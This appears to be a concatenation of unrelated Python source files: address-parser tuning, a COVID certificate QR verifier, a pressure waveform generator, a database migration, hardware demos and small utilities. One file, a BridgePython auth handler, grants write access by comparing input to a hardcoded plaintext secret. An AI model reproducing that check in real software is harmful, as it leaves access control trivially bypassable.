#!/usr/bin/env python """ ONS Address Index - Optimise the Probabilistic Parser ===================================================== A simple script to run random search over CRF parameters to find an optimised model. Uses a smaller training data set to speed up the process. Three-fold cross-validation is being used to assess the performance. Uses weighted F1-score as the metrics to maximise. Requirements ------------ :requires: scikit-learn :requires: sklearn-crfsuite (http://sklearn-crfsuite.readthedocs.io/en/latest/index.html) :requires: scipy :requires: matplotlib Running ------- After all requirements are satisfied and the training and holdout XML files have been created, the script can be invoked using CPython interpreter:: python optimiseParameters.py Author ------ :author: Sami Niemi ([email protected]) Version ------- :version: 0.4 :date: 6-Feb-2017 """ import pickle import ProbabilisticParser.common.metrics as metric import ProbabilisticParser.common.tokens as tkns import matplotlib.pyplot as plt import sklearn_crfsuite from scipy import stats from sklearn.metrics import make_scorer from sklearn.model_selection import RandomizedSearchCV from sklearn_crfsuite import metrics def read_data(training_data_file='/Users/saminiemi/Projects/ONS/AddressIndex/data/training/training100000.xml', holdout_data_file='/Users/saminiemi/Projects/ONS/AddressIndex/data/training/holdout.xml', verbose=True): """ Read in the training and holdout data from XML files. :param training_data_file: name of the training data file :type training_data_file: str :param holdout_data_file: name of the holdout data file :type holdout_data_file: str :param verbose: whether or not to print to stdout :type verbose: bool :return: training data and labels, holdout data and labels :rtype: list """ if verbose: print('Read in training data...') X_train, y_train = tkns.readData(training_data_file) if verbose: print('Read in holdout data') X_test, y_test = tkns.readData(holdout_data_file) return X_train, y_train, X_test, y_test def plot_search_space(rs, param1='c1', param2='c2', output_path='/Users/saminiemi/Projects/ONS/AddressIndex/figs/'): """ Generates a figure showing the search results as a function of two parameters. :param rs: scikit-learn randomised search object :ttype rs: object :param param1: name of the first parameter that was used in the optimisation :type param1: str :param param2: name of the second parameter that was used in the optimisation :type param2: str :param output_path: location to which the figure will be stored :type output_path: str :return: None """ _x = [s.parameters[param1] for s in rs.grid_scores_] _y = [s.parameters[param2] for s in rs.grid_scores_] _c = [s.mean_validation_score for s in rs.grid_scores_] plt.figure() ax = plt.gca() ax.set_yscale('log') ax.set_xscale('log') ax.set_xlabel(param1) ax.set_ylabel(param2) ax.set_title("Randomised Hyperparameter Search CV Results (min={:0.3}, max={:0.3})".format(min(_c), max(_c))) sc = ax.scatter(_x, _y, c=_c, s=60, alpha=0.7, edgecolors=[0, 0, 0]) plt.colorbar(sc) plt.tight_layout() plt.savefig(output_path + 'hyperparameterOptimisation.pdf') plt.close() def perform_cv_model_optimisation(X_train, y_train, X_test, y_test, sequence_optimisation=True): """ Randomised search to optimise the regularisation and other parameters of the CRF model. The regularisation parameters are drawn from exponential distributions. :param X_train: training data in 2D array :param y_train: training data labels :param X_test: holdout data in 2D array :param y_test: holdout data true labels :param sequence_optimisation: whether to use the full sequence accuracy as the score or individual labels :return: None """ # define fixed parameters and parameters to search crf = sklearn_crfsuite.CRF(algorithm='lbfgs', min_freq=0.001, all_possible_transitions=True, verbose=False) # search parameters random draws from exponential functions and boolean for transitions params_space = {'c1': stats.expon(scale=0.5), 'c2': stats.expon(scale=0.05)} # metrics needs a list of labels labels = ['OrganisationName', 'SubBuildingName', 'BuildingName', 'BuildingNumber', 'StreetName', 'Locality', 'TownName', 'Postcode'] if sequence_optimisation: scorer = make_scorer(metric.sequence_accuracy_score) else: # use (flattened) f1-score for evaluation scorer = make_scorer(metrics.flat_f1_score, average='weighted', labels=labels) print('Performing randomised search using cross-validations...') rs = RandomizedSearchCV(crf, params_space, cv=3, verbose=1, n_jobs=-1, n_iter=50, scoring=scorer) rs.fit(X_train, y_train) print('saving the optimisation results to a pickled file...') fh = open(tkns.MODEL_PATH + 'optimisation.pickle', mode='wb') pickle.dump(rs, fh) fh.close() crf = rs.best_estimator_ print('best params:', rs.best_params_) print('best CV score:', rs.best_score_) print('model size: {:0.2f}M'.format(rs.best_estimator_.size_ / 1000000)) print('\nHoldout performance:') y_pred = crf.predict(X_test) sorted_labels = sorted(labels, key=lambda name: (name[1:], name[0])) print(metrics.flat_classification_report(y_test, y_pred, labels=sorted_labels, digits=3)) print('Generating a figure...') plot_search_space(rs) if __name__ == '__main__': X_train, y_train, X_test, y_test = read_data() perform_cv_model_optimisation(X_train, y_train, X_test, y_test)
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' def from_ghbdtn(text): # SOURCE: https://ru.stackoverflow.com/a/812203/201445 layout = dict(zip(map(ord, '''qwertyuiop[]asdfghjkl;'zxcvbnm,./`QWERTYUIOP{}ASDFGHJKL:"ZXCVBNM<>?~'''), '''йцукенгшщзхъфывапролджэячсмитьбю.ёЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,Ё''')) return text.translate(layout) if __name__ == '__main__': text = 'B ,skb ghj,ktvs c ujcntdjq dhjlt ,s? gjcvjnhb ' print(text) print(from_ghbdtn(text))
python
#!env python3 # Heavily based on https://github.com/ehn-dcc-development/ehn-sign-verify-python-trivial # under https://github.com/ehn-dcc-development/ehn-sign-verify-python-trivial/blob/main/LICENSE.txt # It looks like public keys are at DEFAULT_TRUST_URL = 'https://verifier-api.coronacheck.nl/v4/verifier/public_keys' DEFAULT_TRUST_UK_URL = 'https://covid-status.service.nhsx.nhs.uk/pubkeys/keys.json' # Main additions by [email protected]: # - support for US SMART Health Card # - some more explanations on the flight # - generating HTML code # For those parts: #Copyright 2021-2021 Eric Vyncke # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # #http://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agreed to in writing, software #distributed under the License is distributed on an "AS IS" BASIS, #WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. #See the License for the specific language governing permissions and #limitations under the License. import json import sys import zlib from base64 import b64decode, standard_b64decode, b64encode, urlsafe_b64decode import base64 from datetime import date, datetime import urllib.request import cbor2 from binascii import unhexlify, hexlify from base45 import b45decode import cose from cose.keys.curves import P256 from cose.algorithms import Es256, EdDSA, Ps256 from cose.headers import KID from cose.keys import CoseKey from cose.keys.keyparam import KpAlg, EC2KpX, EC2KpY, EC2KpCurve, RSAKpE, RSAKpN from cose.keys.keyparam import KpKty from cose.keys.keytype import KtyEC2, KtyRSA from cose.messages import CoseMessage import cose.exceptions from cryptography.utils import int_to_bytes from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePublicKey from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicKey from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import ec from cryptography import x509 import shc import icao import australia from dump import hexDump, hexDump1Line, numericModeDecode def add_kid(kid_b64, key_b64): kid = b64decode(kid_b64) asn1data = b64decode(key_b64) # value of subjectPk is a base64 ASN1 package of: # 0:d=0 hl=2 l= 89 cons: SEQUENCE # 2:d=1 hl=2 l= 19 cons: SEQUENCE # 4:d=2 hl=2 l= 7 prim: OBJECT :id-ecPublicKey # 13:d=2 hl=2 l= 8 prim: OBJECT :prime256v1 # 23:d=1 hl=2 l= 66 prim: BIT STRING pub = serialization.load_der_public_key(asn1data) if (isinstance(pub, RSAPublicKey)): kids[kid_b64] = CoseKey.from_dict( { KpKty: KtyRSA, KpAlg: Ps256, # RSSASSA-PSS-with-SHA-256-and-MFG1 RSAKpE: int_to_bytes(pub.public_numbers().e), RSAKpN: int_to_bytes(pub.public_numbers().n) }) elif (isinstance(pub, EllipticCurvePublicKey)): kids[kid_b64] = CoseKey.from_dict( { KpKty: KtyEC2, EC2KpCurve: P256, # Ought o be pk.curve - but the two libs clash KpAlg: Es256, # ecdsa-with-SHA256 EC2KpX: pub.public_numbers().x.to_bytes(32, byteorder="big"), EC2KpY: pub.public_numbers().y.to_bytes(32, byteorder="big") }) else: print(f"Skipping unexpected/unknown key type (keyid={kid_b64}, {pub.__class__.__name__}).", file=sys.stderr) def json_serial(obj): """JSON serializer for objects not serializable by default json code""" if isinstance(obj, (datetime, date)): return obj.isoformat() raise TypeError ("Type %s not serializable" % type(obj)) BASE45_CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:" def verifyBase45(s): i = 0 while i < len(s): if s[i] not in BASE45_CHARSET: print("Invalid base45 character found: '{}' == 0x{:2X}.".format(s[i], ord(s[i]))) return i i += 1 return -1 # Load the .JSON files into dictionnary def loadJson(fn): result = {} with open(fn) as jsonFile: dict = json.load(jsonFile) for value in dict['valueSetValues']: result[value] = dict['valueSetValues'][value]['display'] return result def decode(dict, key): if key in dict: return dict[key] return "unknown/" + key country = loadJson('country-2-codes.json') # for v/co disease = loadJson('disease-agent-targeted.json') # for v/tg vaccine_manufacturer = loadJson('vaccine-mah-manf.json') # for v/ma vaccine_product = loadJson('vaccine-medicinal-product.json') # for v/mp test_type = loadJson('test-type.json') # for t/tt test_manf = loadJson('test-manf.json') # for t/ma test_result = loadJson('test-result.json') # for t/tr kids = {} keyid = None key = None # Let's try to load the public keys url = DEFAULT_TRUST_URL response = urllib.request.urlopen(url) pkg = json.loads(response.read()) payload = b64decode(pkg['payload']) trustlist = json.loads(payload) # 'eu_keys': {'hA1+pwEOxCI=': [{'subjectPk': 'MFkwEw....yDHm7wm7aRoFhd5MxW4G5cw==', 'keyUsage': ['t', 'v', 'r']}], eulist = trustlist['eu_keys'] for kid_b64 in trustlist['eu_keys']: add_kid(kid_b64,eulist[kid_b64][0]['subjectPk']) # And now for UK url = DEFAULT_TRUST_UK_URL response = urllib.request.urlopen(url) uklist = json.loads(response.read()) for e in uklist: add_kid(e['kid'], e['publicKey']) cin = sys.stdin.buffer.read().strip() if len(cin) == 0: print('The QR-code could not be detected in the image') sys.exit(-1) print("\nAfter analyzing the uploaded image, the QR code is (left-hand column is the hexadecimal/computer format, the right-hand column is the ASCII/human format):") cin = cin.decode("ASCII") if cin.startswith('shc:/'): shc.verify(cin) sys.exit(-1) if cin.startswith('HC1'): hexDump(cin, 'orange', 0, 3) print("\nThe <span style=\"background-color: orange;\">'HC1:'</span> signature is found in the first characters, 'HC1' stands for Health Certificate version 1. Let's remove it...") ; cin = cin[3:] if cin.startswith(':'): cin = cin[1:] else: try: json_object = json.loads(cin) except: if cin.count('.') == 3 and (cin.startswith('0.') or cin.startswith('1.')): # The weird Australian Jason Web Token https://medium.com/@wabz/reversing-service-nsws-digital-driver-licence-f55123d7c220 australia.verify(cin) sys.exit(-1) print("\n<span style=\"background-color: red;\">Alas, this QR code is not recognized...</span>") hexDump(cin) print("\nTrying to base64 decode...") try: cin = urlsafe_b64decode(cin) print("\nAfter base64 decode:") hexDump(cin) print(hexDump1Line(cin)) except: print("Message was not base64 encoded") print("\nTrying to interpret a DER-encoded X509 certificate...") try: cert = x509.load_der_x509_certificate(cin) print("... it is indeed a DER-encoded certificate") print(cert) except: print("It is not a X.509 certificate...") print("\nTrying to interpret as CBOR encoded...") try: cbor_object = cbor2.loads(cin) print("... success") print(cbor_object) except: print("It is not CBOR encoded...") print("That's all folks !") sys.exit(-1) # Probably the ICAO format https://www.icao.int/Security/FAL/TRIP/PublishingImages/Pages/Publications/Visible%20Digital%20Seal%20for%20non-constrained%20environments%20%28VDS-NC%29.pdf icao.verify(cin, json_object) sys.exit(-1) try: cin = b45decode(cin) except ValueError: print("\nWhile the QR-code should contain a base45 string, it does not at offset",verifyBase45(cin), "out of", len(cin), "characters. Cannot proceed... please upload a valid QR-code") sys.exit(-1) print("\nA QR-code only allows for 45 different characters (letters, figures, some punctuation characters)... But the health certificate contains binary information, so, this binary information is 'encoded' in base45 (thanks to my friend Patrik's IETF draft <a href='https://datatracker.ietf.org/doc/html/draft-faltstrom-base45-06'>draft-faltstrom-base45</a>).") print("Base45 decoding... The decoded message is now (many more binary characters represented as '.' on the right-hand column and also less octects):") if cin[0] == 0x78: hexDump(cin, backgroundColor='lightblue', offset = 0, length = 1) else: hexDump(cin) if cin[0] == 0x78: len_before = len(cin) cin = zlib.decompress(cin) len_after = len(cin) print("\nThe first octet is <span style=\"background-color: lightblue;\">0x78</span>, which is a sign for ZLIB compression. After decompression, the length went from {} to {} octets:".format(len_before, len_after)) if len_before >= len_after: print("Obviously, in this case, the compression was rather useless as the 'compressed' length is larger than the 'uncompressed' one... Compression efficiency usually depends on the text.") hexDump(cin, backgroundColor="yellow", offset=0, length=1) msb_3_bits = cin[0] >> 5 if msb_3_bits == 6: msb_type = 'tag' else: msb_type = 'unexpected type' lsb_5_bits = cin[0] & 0x1F print("\nInterpreting the message as Concise Binary Object Representation (CBOR), another IETF standards by my friends Carsten and Paul <a href='https://datatracker.ietf.org/doc/html/rfc7049'>RFC 7049</a>... ", end = '') print("The first byte is <span style=\"background-color: yellow;\">{:2X}</span> and is encoded as follow:".format(cin[0])) print(" - most significant 3 bits == {:2X}, which is a {};".format(msb_3_bits, msb_type)) print(" - least significant 5 bits == {} == 0x{:2X}.".format(lsb_5_bits, lsb_5_bits)) if cbor2.loads(cin).tag != 18: raise Exception("This is not a COSE message!") print("As CBOR tag is 18 == 0x12 (see IANA <a href='https://www.iana.org/assignments/cbor-tags/cbor-tags.xhtml'>registry</a>), hence it is a CBOR Object Signing and Encryption (COSE) Single Signer Data Object message, another IETF standards by late Jim Schaad <a href='https://datatracker.ietf.org/doc/html/rfc8152'>RFC 8152</a>") print("\nChecking the COSE structure (ignoring the signature) of the CBOR Web Token (yet another IETF standards <a href='https://datatracker.ietf.org/doc/html/rfc8392'>RFC 8392</a>)...") try: decoded = CoseMessage.decode(cin) except cose.exceptions.CoseException as e: print("This is not a recognized COSE data object:", e) sys.exit(-1) key = None if cose.headers.KID in decoded.phdr.keys(): print("\tCOSE Key Id(KID):", hexDump1Line(decoded.phdr[cose.headers.KID]), "(KID is the first 8 bytes of the SHA256 of the certificate, list of trusted KIDs is at <a href='https://verifier-api.coronacheck.nl/v4/verifier/public_keys'>https://verifier-api.coronacheck.nl/v4/verifier/public_keys</a>).") key = b64encode(decoded.phdr[cose.headers.KID]).decode('ASCII') # Unsure why... possible to make it canonical before using it as an index if not key in kids: print("\t<span style=\"color: red;\">!!! This KeyId is unknown -- cannot verify!!!</span>") else: key = kids[key] print("\t\tThis key is trusted from {} or {}".format(DEFAULT_TRUST_URL, DEFAULT_TRUST_UK_URL)) decoded.key = key if decoded.verify_signature(): print("\t\t<span style=\"color: green;\">And the COSE signature is verified => this digital green certificate is valid.</span>") else: print("\t\t<span style=\"color: red;\">!!! Tthe COSE signature is INVALID => this digital green certificate is <b>NOT</b>valid !!!</span>") if cose.headers.Algorithm in decoded.phdr.keys(): algorithm = decoded.phdr[cose.headers.Algorithm] if algorithm == cose.algorithms.Es256: algorithm = 'Es256 (ECDSA w/ SHA-256)' elif algorithm == cose.algorithms.Ps256: algorithm = 'Ps256 (RSASSA-PSS w/ SHA-256)' print("\tCOSE Algorithm:", algorithm) # Get the COSE signed payload payload = decoded.payload print("\nA COSE signed messages contains 'claims' protected/signed by the CBOR Web Token in this case what is certified valid by a EU Member State. The CBOR-encoded claims payload is:") hexDump(payload) print("\nDecoding the CBOR-encoded COSE claims into a more readable JSON format:") payload = cbor2.loads(payload) claim_names = { 1 : "Issuer", 6: "Issued At", 4: "Expiration time", -260 : "Health claims" } for k in payload: if k != -260: n = f'Claim {k} (unknown)' msg = '' if k in claim_names: n = claim_names[k] if k == 4 and datetime.today().timestamp() > payload[k]: msg = ' <span style="color: red ;">!!! This certificate is no more valid!!!</span>' if k == 6 and datetime.today().timestamp() < payload[k]: msg = ' <span style="color: red ;">!!! This certificate is not yet valid!!!</span>' if k == 6 or k == 4: payload[k] = datetime.utcfromtimestamp(payload[k]).strftime('%Y-%m-%d %H:%M:%S UTC') print(f"\t{n:20}: {payload[k]}{msg}") payload = payload[-260][1] # Encoding is https://ec.europa.eu/health/sites/default/files/ehealth/docs/covid-certificate_json_specification_en.pdf # And many binary values are from https://github.com/ehn-dcc-development/ehn-dcc-valuesets n = "Health payload JSON" print(f"\t{n:20}: ") print(json.dumps(payload, indent=4, sort_keys=True, ensure_ascii=False, default=json_serial).replace('<','&lt;')) # Deeper parser print("\n\nHealth Certificate") print("Using the <a href='https://ec.europa.eu/health/sites/default/files/ehealth/docs/covid-certificate_json_specification_en.pdf'>EU JSON specification</a>.\n") if 'nam' in payload: names = payload['nam'] if 'fn' in names: print("Last name:", names['fn']) if 'gn' in names: print("First name:", names['gn']) if 'fnt' in names and 'gnt' in names: print("Name as in passport (ICAO 9303 transliteration):", names['fnt'].replace('<','&lt;') + '&lt;&lt;' + names['gnt'].replace('<','&lt;')) if 'dob' in payload: print("Birth date:", payload['dob']) if 'v' in payload: for vaccine in payload['v']: print("\nVaccine for", decode(disease, vaccine['tg'])) print("\tVaccine name:", decode(vaccine_product, vaccine['mp']), 'by', decode(vaccine_manufacturer, vaccine['ma'])) print("\tDose:", vaccine['dn'], "out of", vaccine['sd'], "taken on", vaccine['dt'], "in", country[vaccine['co']], 'by', vaccine['is']) if 't' in payload: for test in payload['t']: print("\nTest for", decode(disease, test['tg']), '/', decode(test_type, test['tt'])) if 'nm' in test: print("\tName:", test['nm']) if 'ma' in test: print("\tTest device:", test['ma'], '/', decode(test_manf, test['ma'])) print("\tTest taken on:", test['sc'], 'by', test['tc'], 'in', decode(country, test['co'])) print("\tTest result:", decode(test_result, test['tr'])) if 'r' in payload: for recovery in payload['r']: print("\nRecovery from", decode(disease, recovery['tg'])) print("\tPositive test on", recovery['fr']) print("\tCertified by", recovery['is'], 'in', decode(country, recovery['co'])) print("\tValid from", recovery['df'], 'to', recovery['du'])
python
import numpy as np import os import matplotlib.pyplot as plt class waveform: """A class to generate an arbitrary waveform """ def __init__(self, **kwargs): # frequency with which setpoints will be given out self.freq = kwargs.get('Bscan_RepRate', 33.333) self.delta_t = 1/self.freq # Delta_t between setpoints self.waveform = np.array([]) # waveform self.max_suction = 600 # mbar print(f"B-scan Repetition rate set at {self.freq:.5} Hz") print(f"The setpoints will be spaced {self.delta_t:.5} seconds") print("========= END INITIALIZATION =========\n") def add_flat(self, time, level=None): if level == None: if self.waveform.size != 0: level = self.waveform[-1] # keeps the same level else: print('You have to provide a level at which to keep the') assert (level >= 0), "`level` must be positive" N_pts = int(np.around(time/self.delta_t)) flat = np.full((N_pts, ), level) self.waveform = np.append(self.waveform, flat) return self.waveform def jump_to(self, suction): assert (suction >= 0), "`level` must be positive" self.waveform = np.append(self.waveform, [suction]) return self.waveform def add_ramp(self, to_suction, time): if self.waveform.size == 0: self.waveform = np.asarray([0]) ramp_start = self.waveform[-1] N_pts = int(np.around(time/self.delta_t)) ramp = np.linspace(ramp_start, to_suction, N_pts) self.waveform = np.append(self.waveform, ramp) return self.waveform def add_oscillations(self, freq, min_lvl, max_lvl, N_osc, initial_phase_deg=90): assert min_lvl >= 0, "`p_min` must be positive" assert max_lvl <= self.max_suction, "`p_max` must be below 1000 mbar" assert min_lvl < max_lvl, "`p_min` must me smaller than `p_max`" assert type(N_osc) == int, "N_osc must be integer" period = 1/freq N_pts = int(np.around(period/self.delta_t)) # in one period phases = np.linspace(0, 2*np.pi, num=N_pts) phases += 2*np.pi*initial_phase_deg/360 # so the oscillation starts smooth amplitude = (max_lvl - min_lvl)/2 offset = (max_lvl + min_lvl)/2 oscillation = offset + amplitude*np.cos(phases) oscillation = np.tile(oscillation, N_osc) self.waveform = np.append(self.waveform, oscillation) return self.waveform def to_csv(self, filename): if not filename.endswith('.csv'): filename += '.csv' self.waveform = np.append(self.freq, self.waveform) np.savetxt(filename, self.waveform, delimiter=",") return f"File `{filename}` saved at: \n{os.getcwd()}\n====================================" def from_csv(self, filename): if not filename.endswith('.csv'): filename += '.csv' array = np.genfromtxt(filename, delimiter=',') self.freq, self.waveform = array[0], array[1:] print(f"File '{filename}' successfully read") print(f"{len(self.waveform)/self.freq:.5} second long waveform, with sampling {self.freq:.5} Hz.") def __len__(self): return (self.waveform.size) def plot(self): ## Let's see how the waveform looks live ## creation of x-axis (time axis) time = np.linspace(0, self.delta_t*len(self.waveform), num = len(self.waveform)) fig, ax = plt.subplots(figsize=(8,5)) ax.plot(time, self.waveform) sup_title = f"Time series of the setpoint for Suction (mbar below atmospheric pressure)" fig.suptitle(sup_title, fontsize=13) ax.set_ylabel('Pressure Setpoint (mbar)', fontsize=12) ax.set_xlabel('Time (s)', fontsize=12) fig.tight_layout() fig.subplots_adjust(top=0.9) ax.spines['bottom'].set_smart_bounds(True) ax.spines['left'].set_smart_bounds(True) ax.spines['top'].set_color('none') ax.spines['right'].set_color('none') return fig if __name__ == '__main__': print('`PressureSetPointGenerator` compiled successfully')
python
# print("You have imported lc")
python
"""Change User id type to string Revision ID: 58c319e84d94 Revises: a15b1085162f Create Date: 2021-05-04 01:10:37.401748 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '58c319e84d94' down_revision = 'a15b1085162f' branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_constraint('tracks_user_id_fkey', 'tracks', type_='foreignkey') op.drop_constraint('musictaste_user_id_fkey', 'musictaste', type_='foreignkey') op.drop_constraint('rightswipes_swiper_fkey', 'rightswipes', type_='foreignkey') op.drop_constraint('rightswipes_swipee_fkey', 'rightswipes', type_='foreignkey') op.alter_column('users', 'id', existing_type=sa.INTEGER(), type_=sa.String(), existing_nullable=False, existing_server_default=sa.text("nextval('users_id_seq'::regclass)")) op.alter_column('musictaste', 'user_id', existing_type=sa.INTEGER(), type_=sa.String(), existing_nullable=True) op.alter_column('rightswipes', 'swipee', existing_type=sa.INTEGER(), type_=sa.String(), existing_nullable=False) op.alter_column('rightswipes', 'swiper', existing_type=sa.INTEGER(), type_=sa.String(), existing_nullable=False) op.alter_column('tracks', 'user_id', existing_type=sa.INTEGER(), type_=sa.String(), existing_nullable=True) op.create_foreign_key("tracks_user_id_fkey", "tracks", "users", ["user_id"], ["id"], ondelete='CASCADE') op.create_foreign_key("musictaste_user_id_fkey", "musictaste", "users", ["user_id"], ["id"], ondelete='CASCADE') op.create_foreign_key("rightswipes_swiper_fkey", "rightswipes", "users", ["swiper"], ["id"], ondelete='CASCADE') op.create_foreign_key("rightswipes_swipee_fkey", "rightswipes", "users", ["swipee"], ["id"], ondelete='CASCADE') # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_constraint('tracks_user_id_fkey', 'tracks', type_='foreignkey') op.drop_constraint('musictaste_user_id_fkey', 'musictaste', type_='foreignkey') op.drop_constraint('rightswipes_swiper_fkey', 'rightswipes', type_='foreignkey') op.drop_constraint('rightswipes_swipee_fkey', 'rightswipes', type_='foreignkey') op.alter_column('users', 'id', existing_type=sa.String(), type_=sa.INTEGER(), existing_nullable=False, existing_server_default=sa.text("nextval('users_id_seq'::regclass)")) op.alter_column('tracks', 'user_id', existing_type=sa.String(), type_=sa.INTEGER(), existing_nullable=True) op.alter_column('rightswipes', 'swiper', existing_type=sa.String(), type_=sa.INTEGER(), existing_nullable=False) op.alter_column('rightswipes', 'swipee', existing_type=sa.String(), type_=sa.INTEGER(), existing_nullable=False) op.alter_column('musictaste', 'user_id', existing_type=sa.String(), type_=sa.INTEGER(), existing_nullable=True) op.create_foreign_key("tracks_user_id_fkey", "tracks", "users", ["user_id"], ["id"], ondelete='CASCADE') op.create_foreign_key("musictaste_user_id_fkey", "musictaste", "users", ["user_id"], ["id"], ondelete='CASCADE') op.create_foreign_key("rightswipes_swiper_fkey", "rightswipes", "users", ["swiper"], ["id"], ondelete='CASCADE') op.create_foreign_key("rightswipes_swipee_fkey", "rightswipes", "users", ["swipee"], ["id"], ondelete='CASCADE') # ### end Alembic commands ###
python
from mpi4py import MPI comm = MPI.COMM_WORLD rank = comm.Get_rank() print ("Hola Mundo del proceso ", rank)
python
#coding:utf-8 # # id: bugs.core_1055 # title: Wrong parameter matching for self-referenced procedures # decription: # tracker_id: CORE-1055 # min_versions: [] # versions: 2.0.1 # qmid: bugs.core_1055 import pytest from firebird.qa import db_factory, isql_act, Action # version: 2.0.1 # resources: None substitutions_1 = [] init_script_1 = """SET TERM ^; create procedure PN (p1 int) as begin execute procedure PN (:p1); end ^ SET TERM ;^ commit; """ db_1 = db_factory(sql_dialect=3, init=init_script_1) test_script_1 = """SET TERM ^; alter procedure PN (p1 int, p2 int) as begin execute procedure PN (:p1, :p2); end^ SET TERM ;^ commit; """ act_1 = isql_act('db_1', test_script_1, substitutions=substitutions_1) @pytest.mark.version('>=2.0.1') def test_1(act_1: Action): act_1.execute()
python
# Definitions to be used in this HCM_Project folder import os # Main directory in which everything is stored ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) DATA_DIR = '/mnt/host/c/Users/Changxin/Documents/datasets/HCM_DATA_Organized' DATA_DIR_WIN = 'c:/Users/Changxin/Documents/datasets/HCM_DATA_Organized' # Directory where original hv_dict are stored hv_dict_path_original = os.path.join(DATA_DIR,'hv_dict_original_LGE') hv_dict_path_original_win = os.path.join(DATA_DIR_WIN,'hv_dict_original_LGE') # Directory where predicted hv_dict are stored hv_dict_path_predicted = os.path.join(DATA_DIR,'hv_dict_predicted_LGE') hv_dict_path_predicted_win = os.path.join(DATA_DIR_WIN,'hv_dict_predicted_LGE') # Directory where standardized hv_dict are stored hv_dict_path_standard = os.path.join(DATA_DIR,'hv_dict_standard_LGE') hv_dict_path_standard_win = os.path.join(DATA_DIR_WIN,'hv_dict_standard_LGE') # Directory where weights for segmentation DNN weights are stored dnn_seg_weights_path = os.path.join(ROOT_DIR,'SegDNN') # ROI Specific parameters roi_img_size = 192 roi_minimum_area = 30 # Target image size target_image_size = 64
python
# Python modules from abc import ABC, abstractmethod class Chain(ABC): """ An abstract base class for Chain objects. It can't be instantiated, but all chains inherit from it and must have the abstract methods shown below. Each Block object has a chain object reference, the set of Chain objects perform the MRS worflow for a Dataset. """ @abstractmethod def __init__(self, dataset, block): """ all subclasses must include this method """ self._dataset = dataset self._block = block self.data = [] # Set local values for data acquisiton parameters. # - these do not change over time, so we can set them here self.sw = dataset.sw self.frequency = dataset.frequency self.resppm = dataset.resppm self.echopeak = dataset.echopeak self.is_fid = dataset.is_fid self.seqte = dataset.seqte self.seqtr = dataset.seqtr self.nucleus = dataset.nucleus @abstractmethod def run(self, voxels, entry='all'): """ all subclasses must include this method """ pass def reset_results_arrays(self): """ reminder that subclasses may want to override this method """ pass
python
from BridgePython import Bridge bridge = Bridge(api_key='myapikey') class AuthHandler(object): def join(self, channel_name, obj, callback): # Passing false means the client cannot write to the channel bridge.join_channel(channel_name, obj, False, callback) def join_writeable(self, channel_name, secret_word, obj, callback): # Passing true means the client can write to the channel as well as read from it if secret_word == "secret123": bridge.join_channel(channel_name, obj, True, callback) bridge.publish_service('auth', AuthHandler()) bridge.connect()
python
"""DYNAPSE Demo. Author: Yuhuang Hu Email : [email protected] """ from __future__ import print_function import threading import numpy as np from glumpy import app from glumpy.graphics.collections import PointCollection from pyaer.dynapse import DYNAPSE # define dynapse device = DYNAPSE() print ("Device ID:", device.device_id) if device.device_is_master: print ("Device is master.") else: print ("Device is slave.") print ("Device Serial Number:", device.device_serial_number) print ("Device String:", device.device_string) print ("Device USB bus Number:", device.device_usb_bus_number) print ("Device USB device address:", device.device_usb_device_address) print ("Logic Version:", device.logic_version) print ("Logic Clock:", device.logic_clock) print ("Chip ID:", device.chip_id) print ("AER has statistics:", device.aer_has_statistics) print ("MUX has statistics:", device.mux_has_statistics) device.send_default_config() device.start_data_stream() # define glumpy window xdim = 64 ydim = 64 sizeW = 1024 timeMul = 10e-6 window = app.Window(sizeW, sizeW, color=(0, 0, 0, 1), title="DYNAPSE Demo") points = PointCollection("agg", color="local", size="local") lock = threading.Lock() @window.event def on_close(): global device device.shutdown() print("closed thread ") @window.event def on_draw(dt): global dtt, device window.clear() lock.acquire() (events, num_events) = device.get_event() timestamp = events[:, 0] neuron_id = events[:, 1] core_id = events[:, 2] chip_id = events[:, 3] timestamp = np.diff(timestamp) timestamp = np.insert(timestamp, 0, 0.0001) if(num_events > 1): for i in range(num_events): dtt += float(timestamp[i])*timeMul if(dtt >= 1.0): dtt = -1.0 del points[...] y_c = 0 if(chip_id[i] == 0): y_c = (neuron_id[i])+(core_id[i]*256)+((chip_id[i])*1024) y_c = float(y_c)/(1024*2.0) elif(chip_id[i] == 2): y_c = (neuron_id[i])+(core_id[i]*256)+((chip_id[i])*1024) y_c = (float(y_c)/(1024*4.0))*2-((sizeW*0.5)/sizeW) elif(chip_id[i] == 1): y_c = (neuron_id[i])+(core_id[i]*256)+((chip_id[i])*1024) y_c = -(float(y_c)/(1024*2.0)) elif(chip_id[i] == 3): y_c = (neuron_id[i])+(core_id[i]*256)+((chip_id[i])*1024) y_c = -(float(y_c)/(1024*2.0))+((sizeW*0.5)/sizeW)*3 if(core_id[i] == 0): col = (1, 0, 1, 1) elif(core_id[i] == 1): col = (1, 0, 0, 1) elif(core_id[i] == 2): col = (0, 1, 1, 1) elif(core_id[i] == 3): col = (0, 0, 1, 1) y_c = round(y_c, 6) points.append([dtt, y_c, 0], color=col, size=3) points.draw() lock.release() dtt = -1.0 window.attach(points["transform"]) window.attach(points["viewport"]) app.run(framerate=150)
python
